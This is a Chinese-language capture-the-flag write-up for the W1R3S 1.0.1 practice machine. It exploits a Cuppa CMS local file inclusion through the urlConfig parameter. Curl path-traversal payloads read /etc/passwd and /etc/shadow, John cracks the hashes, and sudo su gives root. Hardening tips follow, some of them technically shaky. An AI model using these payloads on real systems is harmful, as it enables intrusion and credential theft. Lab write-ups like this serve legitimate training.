Cuppa CMS 文件包含漏洞实战:W1R3S 1.0.1靶机从LFI到Root的3步提权

📅 2026/7/8 20:37:58 👁️ 阅读次数 📝 编程学习
Cuppa CMS 文件包含漏洞实战:W1R3S 1.0.1靶机从LFI到Root的3步提权

Cuppa CMS文件包含漏洞深度剖析:从LFI到Root的实战路径

1. 靶机环境与漏洞背景

W1R3S 1.0.1是一个专为渗透测试练习设计的Vulnhub靶机,其核心漏洞存在于Cuppa CMS的alertConfigField.php文件中。这个基于PHP的内容管理系统由于未对urlConfig参数进行严格过滤,导致攻击者可以通过路径遍历实现本地文件包含(LFI)。

典型漏洞特征

  • 影响版本:Cuppa CMS全版本
  • 漏洞类型:本地文件包含(LFI)
  • 危险等级:高危
  • 利用条件:需访问/administrator目录
  • 攻击复杂度:低

在实际测试环境中,我们常遇到以下配置特征:

# 典型漏洞文件路径 /administrator/alerts/alertConfigField.php # 常见敏感文件路径 /etc/passwd /etc/shadow /var/www/html/config.php

2. 信息收集与漏洞识别

2.1 基础扫描技术

完整的渗透测试始于系统化的信息收集。对于W1R3S靶机,推荐采用分层扫描策略:

  1. 主机发现

    nmap -sn 192.168.1.0/24
  2. 端口扫描

    nmap -T4 -A -p- 靶机IP
  3. 服务识别

    nmap -sV -sC -O 靶机IP

常见扫描结果分析

端口服务潜在风险
21FTP匿名登录可能
22SSH暴力破解风险
80HTTPWeb应用漏洞
3306MySQL弱口令/未授权访问

2.2 Web目录枚举

使用dirsearch进行深度目录扫描:

python3 dirsearch.py -u http://靶机IP -e php,html,js -t 50

关键发现

  • /administrator:Cuppa CMS后台
  • /wordpress:伪装的干扰目录
  • /javascript:可能包含敏感配置

3. 漏洞利用实战

3.1 LFI漏洞验证

通过curl发送POST请求验证漏洞:

curl -X POST -d "urlConfig=../../../../../../../../../etc/passwd" http://靶机IP/administrator/alerts/alertConfigField.php

响应分析技巧

  • 查看HTTP状态码(200表示成功)
  • 检查返回内容长度
  • 注意特殊字符转义情况

3.2 敏感文件提取

关键文件获取方法

  1. 用户列表:

    curl -s --data-urlencode "urlConfig=../../../../../../../../../etc/passwd" http://靶机IP/administrator/alerts/alertConfigField.php | grep -E '/bin/bash|/bin/sh'
  2. 密码哈希:

    curl -s --data-urlencode "urlConfig=../../../../../../../../../etc/shadow" http://靶机IP/administrator/alerts/alertConfigField.php > shadow.txt
  3. Web配置:

    curl --data-urlencode "urlConfig=../../../../../../../../../var/www/html/config.php" http://靶机IP/administrator/alerts/alertConfigField.php

4. 密码破解与权限提升

4.1 John破解实战

  1. 提取有效哈希:

    grep -E 'root|w1r3s' shadow.txt > crack.hash
  2. 使用John破解:

    john --wordlist=/usr/share/wordlists/rockyou.txt crack.hash
  3. 查看破解结果:

    john --show crack.hash

典型结果

w1r3s:computer:18090:0:99999:7:::

4.2 SSH登录与提权

  1. 建立SSH连接:

    ssh w1r3s@靶机IP
  2. 权限检查:

    sudo -l
  3. 提权操作:

    sudo su -

提权后操作

# 查找flag文件 find / -name flag* 2>/dev/null # 查看系统信息 cat /etc/issue; uname -a # 检查计划任务 crontab -l

5. 防御与加固建议

5.1 临时修复方案

  1. 文件权限控制:

    chmod 750 /administrator/alerts/ chmod 640 /administrator/alerts/alertConfigField.php
  2. Web服务器配置:

    location ~ /alerts/ { deny all; }

5.2 代码层修复

  1. 参数过滤:

    $allowed_paths = ['config/','alerts/']; if(!in_array($_POST['urlConfig'], $allowed_paths)) { die('Invalid path'); }
  2. 目录限制:

    $base_dir = '/var/www/html/'; $real_path = realpath($base_dir . $_POST['urlConfig']); if(strpos($real_path, $base_dir) !== 0) { die('Path traversal attempt detected'); }

5.3 长期安全措施

安全加固清单

  • [ ] 定期更新CMS核心
  • [ ] 实施WAF规则
  • [ ] 启用PHP安全模式
  • [ ] 配置严格的文件权限
  • [ ] 部署入侵检测系统

6. 攻击链可视化

完整的攻击路径可概括为:

  1. 信息收集 → 2. 服务枚举 → 3. 漏洞识别 → 4. LFI利用 → 5. 凭证获取 → 6. 权限提升

时间效率对比

阶段新手耗时熟练者耗时
信息收集30min10min
漏洞识别60min15min
密码破解120min5min
权限提升60min2min

在实际渗透测试项目中,这种类型的漏洞通常能在2小时内完成从发现到利用的全过程。关键在于建立系统化的测试流程和丰富的经验积累。